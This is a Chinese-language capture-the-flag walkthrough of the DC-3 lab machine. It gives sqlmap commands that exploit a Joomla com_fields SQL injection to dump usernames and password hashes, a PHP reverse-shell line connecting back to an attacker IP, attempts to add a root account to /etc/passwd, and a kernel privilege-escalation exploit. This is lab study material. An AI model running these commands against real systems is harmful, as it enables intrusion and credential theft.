DC-3
先找ip
192.168.213.155
下面进行信息收集,收集到东西越多越好
是用Joomla建站的,中间件是apache http server的2.4.18
用whatweb
有一个思路是用msfconsole search joomla/apache
继续信息收集,扫描端口
Nmap -A -p- 192.168.213.155
Nikto
用ARL
可以用whois url 查目标域名的关键注册信息,包括注册公司、注册邮箱、管理员联系手机等。
dnsenum 域名,能够返回对应IP地址
fierce –domain baidu.com查子域名
wafw00f 域名 查防火墙
7kbstorm
网站页面
还是上面的思路,找漏洞
用joomscan扫joomla
Msfconsole:
看了别人的wp,发现是用searchsploit
现在用sqlmap
要用root权限执行
暴库:
sqlmap -u “http://192.168.100.148/index.php?option=com_fields&view=fields&layout=modal&list\[fullordering\]=updatexml“ –risk=3 –level=5 –random-agent –dbs -p list[fullordering]
爆表:
sqlmap -u “http://192.168.100.148/index.php?option=com_fields&view=fields&layout=modal&list\[fullordering\]=updatexml“ –risk=3 –level=5 –random-agent -D joomladb –tables -p list[fullordering]
爆列名:
sqlmap -u “http://192.168.100.148/index.php?option=com_fields&view=fields&layout=modal&list\[fullordering\]=updatexml“ –risk=3 –level=5 –random-agent -D joomladb -T ‘#__users’ –columns -p list[fullordering]
爆字段:
sqlmap -u “http://192.168.100.148/index.php?option=com_fields&view=fields&layout=modal&list\[fullordering\]=updatexml“ –risk=3 –level=5 –random-agent -D joomladb -T ‘#__users’ -C ‘username,password’ -p list[fullordering] –dump
成功搞到用户名和密码
因为得到的密码是md5加密过后的,所以我们需要使用kali上的一个工具john来爆破一下
登录后台,发现上传点
没有测试
发现远程命令执行
随便找了个文件改了改
<?php
system(“bash -c ‘bash -i >& /dev/tcp/192.168.213.137/8888 0>&1’”);
研究这个url:
后面那个base64是index.php,前面有templates和template,尝试之后发现需要加s
访问url/templates/beez3/index.php
这边我们也连接上shell了,提权
用sudo -l查看哪些命令不需要密码
发现find可以用,试一下find提权
Ls -l /usr/bin/find
这里没有s,证明不能直接用find提权
find / -name index.php -exec “/bin/sh” \
我尝试去创建一个root权限账号
通过直接对etc/passwd文件进行写入
perl -e ‘print crypt(“123456”, “AA”). “\n”‘
#首先用perl算一下123456加密后的结果
# 123456加密后的结果为AASwmzPNx.3sg
echo “root1:AASwmzPNx.3sg:0:0:me:/root:/bin/bash”>>/etc/passwd #直接写入etc/passwd中
写不进去,find不能提权
尝试一下内核,看看有什么内核漏洞
Uname -a
Cat /ect/*-release
继续用我们的searchsploit搜索
这个能用来提权
Searchsploit -p 39772.txt
这个是使用方法
Wget 一下,下载到受害主机
然后unzip xxx.zip,接着tar -xvf xxx.tar
进入exp目录
./compile.sh
./doubleput
测试结束,
apache还没试